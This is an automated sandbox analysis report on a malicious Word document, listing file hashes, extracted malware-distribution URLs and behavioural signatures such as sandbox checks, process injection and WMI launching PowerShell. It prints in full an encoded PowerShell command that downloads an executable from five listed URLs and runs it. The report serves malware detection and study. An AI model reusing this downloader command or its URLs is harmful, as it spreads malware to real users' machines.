Analysis
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max time kernel
108s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
31-07-2022 08:19
Static task
static1
Behavioral task
behavioral1
Sample
132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b.doc
Resource
win7-20220718-en
Behavioral task
behavioral2
Sample
132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b.doc
Resource
win10v2004-20220721-en
General
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Target
132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b.doc
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Size
148KB
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MD5
ac311f203eee100fdf576e5b5510b761
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SHA1
560fd00010580f37b799d559fa7b8b5874101134
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SHA256
132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b
-
SHA512
507ecdc21e524ef02b72bfadd42c6a5d452fa7a0b124812a6057184b0f0a6d8c4a28861e926582dc34842de56c0d04f2fe628dfad04aa865369a4537d3526fa5
Malware Config
Extracted
https://www.wholesale-towels.com/caapa/2skq2c8brl_ujstqor-9423/
https://sehatmadu.com/wp-admin/sMsnqVEHO/
http://wayuansudamai.com/wp-includes/tUhChhCpcN/
http://vnilla.com/cgi-bin/xdmlv_90ij5qu1-86492/
http://vcontenidos.com/wp-admin/nzxnfyy9_x7u5tyux4w-71288/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4816 4696 powershell.exe 42 -
Blocklisted process makes network request 5 IoCs
flow pid Process 34 4816 powershell.exe 46 4816 powershell.exe 51 4816 powershell.exe 54 4816 powershell.exe 56 4816 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3080 WINWORD.EXE 3080 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4816 powershell.exe 4816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4816 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3080 WINWORD.EXE 3080 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3080 WINWORD.EXE 3080 WINWORD.EXE 3080 WINWORD.EXE 3080 WINWORD.EXE 3080 WINWORD.EXE 3080 WINWORD.EXE 3080 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3080 wrote to memory of 3484 3080 WINWORD.EXE 87 PID 3080 wrote to memory of 3484 3080 WINWORD.EXE 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\132b80a7e447dfd6893270baa35d4a97fdccf1bf7306fe94f81233d1ea15bc9b.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -e JABpADkASQA5AGwATQBJAD0AJwB2ADQANgBIAFcAcwA1ACcAOwAkAHoAOQBLADAAUwBNACAAPQAgACcAOQA4ADUAJwA7ACQATQB1AHoAdAA4AFUAaQA9ACcAegBBAHIAVgBrAGYAJwA7ACQAVQA0AEkASwA1AEQAdABVAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB6ADkASwAwAFMATQArACcALgBlAHgAZQAnADsAJABpAGIAUwA4AEIAMABuAD0AJwBGAEkAbABQAFIAXwBFACcAOwAkAGMARgBBAFMAcwBZAEgAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AYABXAGUAQgBgAEMATABpAGAAZQBOAFQAOwAkAGoAMgBjAFEAVwB6AEMAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaABvAGwAZQBzAGEAbABlAC0AdABvAHcAZQBsAHMALgBjAG8AbQAvAGMAYQBhAHAAYQAvADIAcwBrAHEAMgBjADgAYgByAGwAXwB1AGoAcwB0AHEAbwByAC0AOQA0ADIAMwAvAEAAaAB0AHQAcABzADoALwAvAHMAZQBoAGEAdABtAGEAZAB1AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBzAE0AcwBuAHEAVgBFAEgATwAvAEAAaAB0AHQAcAA6AC8ALwB3AGEAeQB1AGEAbgBzAHUAZABhAG0AYQBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0AFUAaABDAGgAaABDAHAAYwBOAC8AQABoAHQAdABwADoALwAvAHYAbgBpAGwAbABhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AeABkAG0AbAB2AF8AOQAwAGkAagA1AHEAdQAxAC0AOAA2ADQAOQAyAC8AQABoAHQAdABwADoALwAvAHYAYwBvAG4AdABlAG4AaQBkAG8AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbgB6AHgAbgBmAHkAeQA5AF8AeAA3AHUANQB0AHkAdQB4ADQAdwAtADcAMQAyADgAOAAvACcALgBzAFAAbABJAHQAKAAnAEAAJwApADsAJABsAHcATwBNAG8AQwBHAEYAPQAnAEwAaABWAG0AUwBFAE8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAHoAXwBpAG8AOQBwACAAaQBuACAAJABqADIAYwBRAFcAegBDACkAewB0AHIAeQB7ACQAYwBGAEEAUwBzAFkASAAuAEQATwBXAG4AbABPAGEAZABmAGkAbABlACgAJAB6AF8AaQBvADkAcAAsACAAJABVADQASQBLADUARAB0AFUAKQA7ACQAWQBOAHYASwA2AGkATwBhAD0AJwBsAEEAbgBqAHcAegBRAFoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABVADQASQBLADUARAB0AFUAKQAuAEwAZQBOAGcAVABIACAALQBnAGUAIAAyADkANQAxADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAFIAVAAoACQAVQA0AEkASwA1AEQAdABVACkAOwAkAHIAOABEAE0AbQA3AD0AJwBQAEwARABiAEgAUwBrACcAOwBiAHIAZQBhAGsAOwAkAFEAdABhAG4AbQBSAE0APQAnAHcAagAxAEIAcAB2AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBzADAAUwBpAGMANAA9ACcAaQBqAGoAUQBMAHoAbgAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4816